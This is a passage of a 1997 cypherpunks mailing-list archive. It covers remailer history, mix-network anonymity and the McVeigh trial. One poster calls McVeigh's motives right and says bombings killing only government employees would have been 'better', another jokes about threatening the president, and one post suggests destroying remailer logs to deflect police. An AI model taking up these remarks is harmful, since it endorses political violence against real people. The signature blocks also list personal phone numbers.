been talking to you since it loaded your page.

John

-- fooIndex.htm -- cut here --
<HTML><HEAD><TITLE>Picket Line</TITLE></HEAD>
<frameset rows="80,*" framespacing="0" frameborder="0" border="0">
<frameset cols="400,*" framespacing="0" frameborder="0" border="0">
<frame src="fooTop.htm" SCROLLING="NO" NORESIZE MARGINWIDTH="6"
MARGINHEIGHT="6" >
<frame src="fooTopRight.htm" SCROLLING="NO" NORESIZE MARGINWIDTH="6"
MARGINHEIGHT="6" >
</frameset>
<frame src="fooMain.htm" SCROLLING="AUTO" NORESIZE MARGINWIDTH="0"
MARGINHEIGHT="0" BORDER="0" >
</frameset>
</HTML>
-- fooTop.htm -- cut here --
<HTML><HEAD><TITLE>FooTop Title</TITLE></HEAD>
<H4> This is FooTop. </H4>
Down with Foo!
</HTML>
-- fooTopRight.htm -- cut here --
<HTML><HEAD><TITLE>FooTopRight Title</TITLE></HEAD>
<H4> This is FooTopRight. </H4>
Down with Bar!
</HTML>
-- fooMain.htm -- cut here --
<HTML><HEAD><TITLE>FooMain Title</TITLE></HEAD>
<H4> This is FooMain. </H4>
Not to be confused with EggFooMein.
<P>
Click here to not be here.
</HTML>
-- fooBar.htm -- cut here --
<HTML><HEAD><TITLE>FooBar Title</TITLE></HEAD>
<H4> This is FooBar. </H4>
You're not where you were before, but there are still picketers hanging about.
<P>
Where we want you to go today.
</HTML>
-- end files -- cut here --

--
J. Deters "Don't think of Windows programs as spaghetti code.  Think
          of them as 'Long sticky pasta objects in OLE sauce'."
+--------------------------------------------------------------------+
| NET:   mailto:jad@dsddhc.com (work)   mailto:jad@pclink.com (home) |
| PSTN:  1 612 375 3116 (work)          1 612 894 8507 (home)        |
| ICBM:  44^58'36"N by 93^16'27"W Elev. ~=290m (work)                |
| For my public key, send mail with the exact subject line of:       |
| Subject: get pgp key                                               |
+--------------------------------------------------------------------+





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 4 Jun 1997 07:57:13 +0800
To: cypherpunks@Algebra.COM
Subject: Who "invented" remailers?
In-Reply-To: <3.0.2.32.19970603171127.036e9fd0@panix.com>
Message-ID: <v03102807afba566172be@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:29 PM -0700 6/3/97, Hallam-Baker wrote:
>> >There is absolutely nothing that the anti-government ranters contribute
>> >to the pro-cryptography movement. They are a liability at best. Stuart
>> >Baker is even now probably peddling his Clipper chip initiative in
>> >Europe holding up one of Jim Bell's rants as "proof" of his case.
>>
>> Nothing except motivation.  Anti-government ranters founded this list,
>> invented remailers, and did a lot of other good work.
>
>Actually remailers were invented by a lass called Stephi whose hobbies
>appeared to include being tied up for fun. The original remailer
>operating out of wizvax was a script that allowed anonymous posts
>into alt.sex.bondage. Then it was expanded to support a couple of
>other newsgroups such as alt.abuse. When Stephi ran out of cash to
>keep wizvax running (I have a suspicion it was something expensive
>power wise) Julf took over the code and the scripts.

While I didn't make the claim that remailers were invented by us, I think I
understand Duncan's point to refer to "true" remailers, not the
Kleinpaste/Julf form used in anon.penet.fi.

And even these were not "invented" by us, but rather were implementations,
initially by Eric Hughes and Hal Finney, then by several others (the
refinements, by Matt Ghio and Lance Cottrell, and the "premail" scripts of
Raph Levien, and others), of David Chaum's 1981 "digital mixes."

The Kleinpaste/Julf "remailer" lacks basic security provisions, and is more
properly called an "anonymizing service," in my opinion. (I'm not familiar
with the "Stephi" story, but I know Kleinpaste wrote up a simple
anonymizing service, which he claims he did in one evening, and decided not
to support it; he transferred the code to Julf, who supported and (I
presume) enhanced it, and the rest is history).

The Julf anonymizing service was of course vulnerable to legal attacks, and
several were mounted. Julf shut the system down at about the time two of
them were causing him great trouble, the Scientologist suit, and the front
page article in a British tabloid saying his site helped child
pornographers (which is undeniably true, of course).

>I'll accept that the ranting faction do some good work but I've
>not seen anything usefull out of either Bell or Vulis unless that
>is you are an FBI agent looking to get a promotion from Freeh.

This member of the "ranting faction" is happy with what he is done. I am
not a C++ programmer and have no interest in spending my life worrying
about malloc and buffer overruns. I am of course glad that some folks do
make this their life's work.

At the first Cypherpunks physical meeting I spent a couple of hours
educating people on how Chaumian mixes work, and why they are important for
free speech and the colonization of cyberspace. I set up a paper game,
beforehand, which we played as a simulation to directly demonstrate the
important features of mixes, including message posting areas (later dubbed
"message pools" by Miron Cuperman, one of the earliest hosts of a
remailer), remailer chaining (something the Kleinpaste/Julf service cannot
offer), digital postage (which we explicitly simulated with play money
included in the envelopes), and, of course, encryption at each stage.
(Encryption was easily simulated with paper envelopes. Chained encryption
was envelopes within envelopes. Etc.)

This was in September of 1992, at the meeting organized by Eric Hughes and
myself, and attended by about 25 of the best hackers we knew in the Bay
Area, drawn from those we knew from the Hackers Conference, the Crypto
Conference, and the usual Bay Area overlapping circles (Xanadu, AMIX, VPL,
etc.).

The very next day, Sunday, Hugh Daniel, Eric Hughes, and I were reflecting
on the previous day's 12-hour meeting/dinner. The two of them--I can never
remember which one exactly--opinined that some hacks of sendmail could
allow such remailers to be built. So one weekend Eric spent two days
working on this, the first day learning enough Perl to proceed, and the
next day coding up such a hack of sendmail. He released it, and the first
crude "remailer" of the "strip headers off and resend" sort was launched.

Within a month or less, Hal Finney had added PGP encryption features.

Within a few months, about a dozen remailers existed. Chaining a message
back and forth through subsets of these remailers, encrypted at each stage,
and even going through the same remailer multiple times, was now possible.
The "mix entropy" of this routing is quite large, and is certainly vastly
more robust than Julf's anonymizer service.

(A law enforcement officer of some country might be able to find the exit
point of a message, but would then have to get "backward collusion" through
the system, into various countries. Such collusion is unlikely. Further,
some of the remailer operators have a "no logs kept" policy, so back
collusion is almost impossible. And one can always route messages through
one's self as a remailer--assuming one operates a remailer--and destroy all
records automatically and then claim completel innocence and ignorance to
the narc who shows up demanding to see message logs. By the way, in America
at least it is very difficult to get blanket warrants to search all e-mail.)

And so this was very probably what Duncan meant when he said some of the
ranting faction were the inventors of remailers.

(Both Eric and Hugh are known to rant, or at least have done so at various
times. Eric had some memorable rants at the 1995 CFP when he loudly
declared to the National Research Council fact-finding committee, "I am a
crypto anarchist.")

So, Phill, we members of the "ranting faction" have had some impact.

Frankly, I don't think the world would be better served if I went back to
school to study number theory and became another Odzylko or Shamir, even if
my genetics allowed it. Nor do I think becoming a Perl hacker is my calling.

I'm satisfied with my contributions, even if you think the ranters are
doing nothing to help the causes you apparently support.

As they say in your country, tally ho!

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 4 Jun 1997 08:14:03 +0800
To: cypherpunks@toad.com
Subject: Re: McVeigh
In-Reply-To: <3393682D.167E@ai.mit.edu>
Message-ID: <19970603165035.36961@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, Jun 03, 1997 at 06:43:10PM +0000, Paul Bradley wrote:
[...]
> > McVeigh ripped the heart out of the militia movement, he demonstrated
> > what it was really about. Ironically the Oaklahoma bombing may have
> > had precisely the effect McVeigh desired but in a very different 
> > sense. It was a wake up call to defend the country from fascism 
> > but the fascist threat was McVeigh and the millitia movement.
> 
> Of course, if the militia movement were to have any effect a concentrated 
> effort or even a few bombings killing only government employees would 
> have been a better course of action.

*Any* such violence on the part of militia movements will only 
generate sympathy for the victims, and harm the movement more than it 
helps.  

> > recovered from the beer hall putsch. Alternatively they can 
> > loudly claim that McVeigh was "framed" in the same way that
> > other neo-NAZIs on the net claim the holocaust a fake, i.e.
> > so that nobody really believes it. I suspect that this script
> 
> The militias would be better to disown McVeigh and condemn his alleged 
> actions because he killed innocents. 

But they won't, because they are pathetic insects drawn to the candle
flame of violence.  Contrast that with the brilliance of the anarchist
Eward Abbey in "The Monkey Wrench Gang", where the anti-government
acts were calculated to call forth popular support. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 4 Jun 1997 08:04:21 +0800
To: Kent Crispin <cypherpunks@Algebra.COM
Subject: Re: May's Banal Rant
In-Reply-To: <v03102808afb8d91fbb72@[207.167.93.63]>
Message-ID: <v03102808afba5f1c7fc4@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:28 PM -0700 6/3/97, Kent Crispin wrote:
>On Mon, Jun 02, 1997 at 01:21:54PM -0700, Tim May wrote:
>[...]
>> Suffice it to say for now that many people have been on the list, and then
>> dropped off. For lots of reasons. And their reasons are not something I
>> feel I need to worry about. They'll do what they want to do. Some graduated
>> from school, some got crypto jobs, some decided they'd had enough, some
>> agreed with the basic views but were ready to move on, some despised our
>> basic outlook, some were told by their employers their subversive
>> activities were a career impediment, some disliked the yahoos and lunatics,
>> some wanted censorship and left when they didn't get it, some never
>> bothered to resubscribe after being dropped for one reason or another, and
>> so on.
>
>Some grew up.  Some, like Peter Pan, want to remain children forever.
>

At least we can expect to see Kent Crispin soon leaving the list.

Historically speaking, when writers stoop to one line insultings of the
list they leave soon thereafter.

(Vulis excepted, of course.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Wed, 4 Jun 1997 05:35:10 +0800
To: Hallam-Baker <shamrock@netcom.com (Lucky Green)
Subject: Re: McVeigh
In-Reply-To: <3.0.2.32.19970602232450.03a764b8@netcom13.netcom.com>
Message-ID: <3.0.2.32.19970603171127.036e9fd0@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 11:25 AM 6/3/97 -0400, Hallam-Baker wrote:

>There is absolutely nothing that the anti-government ranters contribute
>to the pro-cryptography movement. They are a liability at best. Stuart
>Baker is even now probably peddling his Clipper chip initiative in
>Europe holding up one of Jim Bell's rants as "proof" of his case.

Nothing except motivation.  Anti-government ranters founded this list, 
invented remailers, and did a lot of other good work.  

DCF
-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQCVAwUBM5SIfIVO4r4sgSPhAQE/0QQAk5fzKoUnbJRs0x1QVyaXEW95fWHQiUzB
Bwz5ulJfTV2FT/jM1MmwBzh37hEeWPthupJcIMJR3XsINs2eVw29ZgKN0VRjYYu+
+joXjinNv5alPA/4qF/JeEGrhzr8xe5nZwXfdpzvmx/JHZnjxPBtgMZB7WO/bFeS
iBI1wZ7OYbg=
=+Wuz
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Wed, 4 Jun 1997 05:50:07 +0800
To: frissell@panix.com (Duncan Frissell)
Subject: Re: McVeigh
In-Reply-To: <3.0.2.32.19970603171127.036e9fd0@panix.com>
Message-ID: <199706032129.RAA10938@muesli.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




> >There is absolutely nothing that the anti-government ranters contribute
> >to the pro-cryptography movement. They are a liability at best. Stuart
> >Baker is even now probably peddling his Clipper chip initiative in
> >Europe holding up one of Jim Bell's rants as "proof" of his case.
> 
> Nothing except motivation.  Anti-government ranters founded this list, 
> invented remailers, and did a lot of other good work.  

Actually remailers were invented by a lass called Stephi whose hobbies
appeared to include being tied up for fun. The original remailer
operating out of wizvax was a script that allowed anonymous posts
into alt.sex.bondage. Then it was expanded to support a couple of 
other newsgroups such as alt.abuse. When Stephi ran out of cash to
keep wizvax running (I have a suspicion it was something expensive
power wise) Julf took over the code and the scripts.

I'll accept that the ranting faction do some good work but I've 
not seen anything usefull out of either Bell or Vulis unless that
is you are an FBI agent looking to get a promotion from Freeh.


	Phill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 4 Jun 1997 09:01:26 +0800
To: cypherpunks@Algebra.COM
Subject: McVeigh is not the issue!
In-Reply-To: <3393682D.167E@ai.mit.edu>
Message-ID: <v0310280bafba6a8c2fcf@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:43 AM -0700 6/3/97, Paul Bradley wrote:

>Whether McVeigh himself did it or not is questionable, I believe he did,
>this is just a gut feeling, no jury should have convicted him on the
>pathetic collection of circumstantial evidence presented.

Count me as one who believes the evidence was overwhelming. Unlike the OJ
trial, which I found myself drawn into on a daily basis, I ignored this
whole thing as much as  possible (not for ideological reasons...it just
didn't seem interesting to me). From what I did hear of it, the evidence
that he did it was positively convincing.

I've said I could understand McVeigh's motives, not that I think he was
right in doing it, and not that I think he should escape punishment or be
shown mercy. There are big differences in all of these issues.

I don't see the McVeigh issue as one where we need to get into a pissing
contest. He blew up the building, he got caught, he got convicted, and now
he'll spend another $15 million of our money appealing his conviction for
the next several or more years.

Time to move on.

What I think we can mostly all agree on are the civil liberties issues
involved in the aftermath of the OKC case, the Atlanta bombing, and the TWA
explosion. The demands for travel documents, the calls for limits on
bomb-making instructions, etc. These are clearly unconstitutional if
required by the government.

(The airlines claim the FAA is requiring traveller identity. Maybe yes,
maybe no. The airlines are profitting from the requirement, for the reasons
we've discussed here before. Any extension to further "position escrow"
(which is what I call the increasing requirements that citizen-units report
their identities when travelling) would, as I understand the Constitution,
violate various freedoms to move about with government interference.)

These are the serious issues.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Wed, 4 Jun 1997 06:14:40 +0800
To: cypherpunks@toad.com
Subject: Re: McVeigh
Message-ID: <199706032156.RAA11085@muesli.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain



Geiger writes:

>That's right Phil you can sleep better now that all the evil millitia have
>been distroyed. I'm sure you woun't mind when the Constitution is gone
>too. Nothing to worry about after all you have Bill Clinton and his
>buddies to make sure your safe. They said they would and they would never
>lie.

Well I supose there is the possibility your lot might see sense and 
ask to be readmitted to the British Empire but its by no means clear
you would be re-admitted. And there would have to be reparitions for
all that confiscated British property being used without compensation...

>I'm sure if you were in Germany during the 30's that you would have
>thought the "Jewish Solution" was a good thing after all the government
>said it was.

McVeigh is the racist extreemist who has committed mass murder in this
case, not the government. While I would welcome it if you joined me in
condeming US sponsored terorism during the cold war I don't think you
are willing to do so.

>That's ok Phil 1 little white boy will fry in the electric chair. But just
>maybe your children will never have to know what it's like to live under a
>Hitler or a Stalin because there are some in this country who are willing
>to standup to the STATEST in DC who if given the chance will enslave us
>all.

But this threat does not come from the state, it comes from those like
McVeigh who will murder children to further their agenda. The militias
have not rejected the concept of a state, far from it they claim ownership
of it, they claim that they have the right to dispense law, they claim
the right to murder those who disagree with them. Their ideology is 
at root that of Musollini's fascists.

It is surprising to find that you are so willing to be an open appologist
for McVeigh's crime but in answer to your point: No children are going to
grow up in a better world because of McVeigh or any of his followers,
many will not grow up at all because he murdered them.


	Phill







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Wed, 4 Jun 1997 09:05:17 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Who "invented" remailers?
In-Reply-To: <199706040027.UAA11558@muesli.ai.mit.edu>
Message-ID: <199706040058.RAA24630@netcom8.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Phil writes:

> I agree that the Julf mailer had big problems operations wise but I fear 
> that the current mixmaster setup is a bit too unweildy for naive use.

I think the current level of remailer difficulty is just fine, thank-you. 

There is nothing inherently wrong in requiring a partial clue in order to
use a remailer successfully.  Services that the inbred can use too easily
generally get nuked due to excessive public attention.  Mailmasher strikes
me as one recent obvious example. 

For technology to have a reasonable lifetime, it must have functionality
somewhere in between impossible to use, and "click here to threaten the
life of the president." 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 4 Jun 1997 11:47:48 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Elliptic Curve Rumor
In-Reply-To: <v030209d0afb537313fa2@[139.167.130.247]>
Message-ID: <3.0.1.32.19970603181210.0073f2e4@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>heard that Apple has a working implementation of Elliptic Curve Crypto.
NeXT had a working implementation of ECC, plus some patents.
Depending on where the MacOS/NeXtStEp/BeOS/Copland infighting goes,
the right parts of nExTsTeP may be in place to use it NeXT YeAR.

>Because of the export regulations they don't want to include it in their 
>products.  If anyone wants to try to change their minds, now would be a 
>good time.

Will Apple do anything that risks delaying getting their act together,
such as waiting for the Commerce Department to approve something
that's on their critical path?  Only if they see a lot of market in it,
or somebody pushes the right political buttons very hard,
or if it makes the unwritten list of no-explainable-reason features
that any software release ends up being delayed by.
Or - depending on the implementation - if it's not on the critical path,
and they find some way to budget the workers to do the job
without slowing down other critical path items.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Wed, 4 Jun 1997 09:22:33 +0800
To: Kirk Fort <kirkfort@teleplex.net>
Subject: Re: okc trial
In-Reply-To: <199706030148.VAA26888@teleplex.net>
Message-ID: <Pine.LNX.3.95.970603182227.1821A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Mon, 2 Jun 1997, Kirk Fort wrote:

> he has been convicted on the 11 (I believe) federal employees.  He has yet
> be tried on the other 156. I believe that the state of Oklahoma is going to
> prosecute that case.  The 11 deaths should be enough though, for the
> maximum penalty.

Actually, he was prosecuted for the murder of 8 federal employees.  The
remaining 3 counts he was convicted of were conspiracy, destruction of
government property, and use of a weapon of mass destruction (or
something like that).  Oklahoma does plan to file 160 murder charges
against McVeigh.  Then there are the wrongful death lawsuits...



Mark
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBM5SaByzIPc7jvyFpAQEo9QgAzQcENQ/2qH47FhJH5Lttp4iH2eP2Vs8X
QqotVjPAveUA0vOqw0hFh12ZpBZFRo8flblCamiIDf21dNHSpExhYKHCBHLbtXDY
P71OF6fkvHZg8sMTAToVLO3tAdf9Klw+JqW27P/80Cg8Q+YphfZWcTvXDEil5rm/
D9B+9ICieAM1ImOgJbvBKS2WMQJpq1LeVXUSInBFnTwiKjEX487jkNUU94Hfzxr7
HLNo9mBu9UJ825jft2TMcOpOvEEVuirYmeb8esfXT4KpU+kn02CzN/QdgKTHCMMo
siDknkGESRRZnMQVx+QqN2sn2awskydYvnWnvbhbLYJFot9IdDKkVQ==
=J6v6
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 4 Jun 1997 09:32:19 +0800
To: Hallam-Baker <hallam@ai.mit.edu>
Subject: Re: Who "invented" remailers?
In-Reply-To: <v03102807afba566172be@[207.167.93.63]>
Message-ID: <v0310280cafba70127c0a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:27 PM -0700 6/3/97, Hallam-Baker wrote:
>OK I'll partially retract the anti-government ranters comment
>since Tim wants to be included in it :-) I think it was clear where
>the comment was aimed however...

Well, in light of the comments recently from Rotenberg that we are just a
bunch of armchair activists, and in light of comments I've received that my
articles are no longer "must reads" but are instead just "rants," and
becuase I am well known to not be a C++ programmer (though I do have
Smalltalk, Mathematica, and Scheme on my system...now _those_ are my kind
of languages!), I felt you were broadly critiquing most of the list as not
having done anything for the "cause of cryptography." (Whatever _that_
might be, if it is not remailers, message pools, data havens, and pushing
for true digital cash, etc.)

>It seems that Tim did not explore the less salubrious areas of the net
>but the closing down of Wizvax and the first anonymizing mailer was closely
>followed by another service whose name I forget but the name Kleinpaste
>certainly rings a bell. 1992 would be about the right time period as
>well. Elf Sternberg at Compuserve might well remember the rest of the story.

1991-92 was indeed the time of both major branches of the "remailers."
Somewhere in my Cyphernomicon are some quotes from Kleinpaste and Julf, and
the context of their work. Here's one quote from the chapter on remailers
(available at
http://www.oberlin.edu/~brchkind/cyphernomicon/cyphernomicon.contents.html):

 + Karl Kleinpaste was a pioneer (circa 1991-2) of remailers.
              He has become disenchanted:
             - "There are 3 sites out there which have my software:
                anon.penet.fi, tygra, and uiuc.edu.  I have philosophical
                disagreement with the "universal reach" policy of
                anon.penet.fi (whose code is now a long-detached strain
                from the original software I gave Julf -- indeed, by now
                it may be a complete rewrite, I simply don't know);
                ....Very bluntly, having tried to run anon servers twice,
                and having had both go down due to actual legal
                difficulties, I don't trust people with them any more."
                [Karl_Kleinpaste@cs.cmu.edu, alt.privacy.anon-server,
                1994-08-29]


I don't know if Karl has written any longer articles on his involvement
with anonymizing services.


>I agree that the Julf mailer had big problems operations wise but I fear
>that the current mixmaster setup is a bit too unweildy for naive use.
>Like PGP I tend to see it as an advert to the authorities that you are
>likely to be up to no good. The CIA can probably find the information they
>really want by simply tracking PGP messages on the net and doing trafic
>analysis, same goes for the mixmaster class servers and the problem
>remains that there is no response facility.

We see this "they can probably track messages if they want to" view
expressed often. Especially by people who haven't thought about the issue
in detail, who perhaps just think it "only stands to reason" that the NSA
or CIA could backtrack trace messages if they wished to.

While not accusing Phill of being one of these folks who is just
speculating, I really encourage him to carefully look at this issue, to do
some calculations of the mix entropy introduced with sites use mix fan-ins
of sufficient size.

(Hint: 10 remailers each taking in 10 messages of the same rounded-off size
give 10^10 possible routings to follow. Of course, there are not 10 billion
messsages in all. But by the pigeonhole principle, in fact, it means any
final output message could have been any of the input messages. If the
remailers do not reveal input-output mappings ("collusion"), it is hard to
imagine traffic analysis doing much.

(There are important issues, discussed by several of us several years ago,
and more recently by Wei Dai and Lucky Green, dealing with correlation
analysis of messages sent and messages received...esentially pattern
analysis. Perhaps you will say "Ah, this is what I was referring to."
Perhaps.)

Look, casual assertions that the CIA can trace messages through
multinational chains of encrypted remailers, most with strong mixing
(latency), are just that: casual assertions.

We all agree that more remailers are needed, that  more mechanistic
(Chaumian sealed boxes) are needed, etc.

With 100 digital mixes, each taking in 100 messages before resending, there
are more routings to track back than there are particles in the universe.
Smoke that, CIA!

--Tim May




>
>I had an idea for an anonymous contact server in the Julf mould that was
>resistant to the legal attack. No logs of email addresses would ever
>be kept, to retreive responses from the server one would have to send
>a retrieval request to it, possibly including a password.
>
>For one time uses this would be enough. But if you wanted to get more
>comprehensive deniability you could require use of encryption and
>send back all the messages recieved within a particular partition of
>the database. Its pretty difficult to get a good system that allows
>a two way communication to be sustained.
>
>
>The idea was inspired by the crypto-SPAM refusal list that I'm currently
>doing a beta test on, try:-
>
>http://etna.ai.mit.edu/SPAM/
>
>Just don't tell the censorware folks...
>
>
>	Phill


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 4 Jun 1997 09:49:28 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Who "invented" remailers?
In-Reply-To: <199706040027.UAA11558@muesli.ai.mit.edu>
Message-ID: <v0310280dafba752caebe@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:58 PM -0700 6/3/97, Mike Duvos wrote:

>For technology to have a reasonable lifetime, it must have functionality
>somewhere in between impossible to use, and "click here to threaten the
>life of the president."

<CLICK>

<CLICK>

Hey, Mike, I tried clicking where you said to, and nothing happened. Is
your script not working yet?


--Timothy McMeigh







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Wed, 4 Jun 1997 07:30:15 +0800
To: Hallam-Baker <hallam@ai.mit.edu>
Subject: Re: McVeigh
In-Reply-To: <3393682D.167E@ai.mit.edu>
Message-ID: <Pine.LNX.3.91.970603182957.90A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > Yes, poor Tim Mcveigh.  If he's innocent then he is one more victim
> > of the OKC bomber.
> 
> I'm surprised at the concern. After all I've not noticed militia
> supporters and appologists speaking out against the death penalty.

Tim McVeigh certainly acted for the right reasons. This does not make him 
any less guilty, he killed innocent children in that building (no, I`m 
not subscribing to the "save the children!" mentality, and do not believe 
that an innocent childs life is more valuable than that of an innocent 
adult, merely noting that as children they could not have been guilty of 
acts of agression against McVeigh or anyone else because they were under 
the age of criminal responsibility), if we were to say he were any less 
guilty we would be allowing ourselves to believe in thoughcrime, and not 
judging the overt act. 

Whether McVeigh himself did it or not is questionable, I believe he did, 
this is just a gut feeling, no jury should have convicted him on the 
pathetic collection of circumstantial evidence presented.

> If one is driving away from the scene of the biggest single terrorist
> incident on US soil one is probably well advised to both have 
> license plates on the car and not be carrying unlicensed firearms.

Of course, but stupidity does not signify guilt. McVeigh almost seemed to 
WANT to be caught, this is backed up by the fact that he has right wing 
militia literature in his car at the time of his arrest.

> If one is arrested its probably not advisable to counter interrogation
> by refusing to give more than name rank and serial number, a request
> to see a lawyer is probably a more sensible choice.

McVeigh certainly didn`t make the smart choice, but he made the right 
choice, he was at war with the US government, name rank and number were 
all he was obliged to release.

> The one problem I have with the trial is the leaking of the
> defense notes. I suspect that they are genuine and that McVeigh 
> really did confess. 
 
I personally feel the same, McVeigh pleading not guilty suprised me, he 
originally planned a suicide attack I believe, which would lead me to 
suggest he would not later back down from his actions like that.

> In the UK publication would be barred for
> the duration of the trial and heavy jail sentences imposed since
> the right to a fair trial is considered a reasonable justification
> for a temporary bar on the right to free speech. 

In the UK anything is considered reasonable justification for 
restrictions on free speech, there are draconian restrictions on the 
freedom of the press. 
Of course, freedom of speech is absolute, if you believe a few rags 
printing allged defense notes will affect a prosecution you are probably 
right, that does not make censorship acceptable.

> However I would
> not argue that the trial be halted as a result since one 
> possible explanation is that the defense saw that there was no 
> chance of aquital and gambled on gaining a mistrial. 

The defense is a joke, but what do you expect? Whether McVeigh did it or 
not, the government wants someone to blame and McVeigh is the idea 
target, an anti-government "evil terrorist" to parade in front of the media.

> Appologists for McVeigh should consider that his actions did not 
> advance the militia cause an iota, it destroyed it and along with 
> it much of the right wing fringe. It forced Rush Limbaugh off 
> television and many right wing hosts off radio. 

Indeed, McVeigh has harmed the cause of freedom. Quite the opposite of 
his intentions.

> McVeigh ripped the heart out of the militia movement, he demonstrated
> what it was really about. Ironically the Oaklahoma bombing may have
> had precisely the effect McVeigh desired but in a very different 
> sense. It was a wake up call to defend the country from fascism 
> but the fascist threat was McVeigh and the millitia movement.

Of course, if the militia movement were to have any effect a concentrated 
effort or even a few bombings killing only government employees would 
have been a better course of action.

> recovered from the beer hall putsch. Alternatively they can 
> loudly claim that McVeigh was "framed" in the same way that
> other neo-NAZIs on the net claim the holocaust a fake, i.e.
> so that nobody really believes it. I suspect that this script

The militias would be better to disown McVeigh and condemn his alleged 
actions because he killed innocents. 

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Wed, 4 Jun 1997 07:35:34 +0800
To: Kirk Fort <kirkfort@teleplex.net>
Subject: Re: okc trial
In-Reply-To: <199706030019.UAA24151@teleplex.net>
Message-ID: <Pine.LNX.3.91.970603184643.90B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





> I hope Tim McVeigh frys. His friend Terry too.
> 
> "Dust off old sparky, its time to start cooking"

You do not question McVeighs guilt?

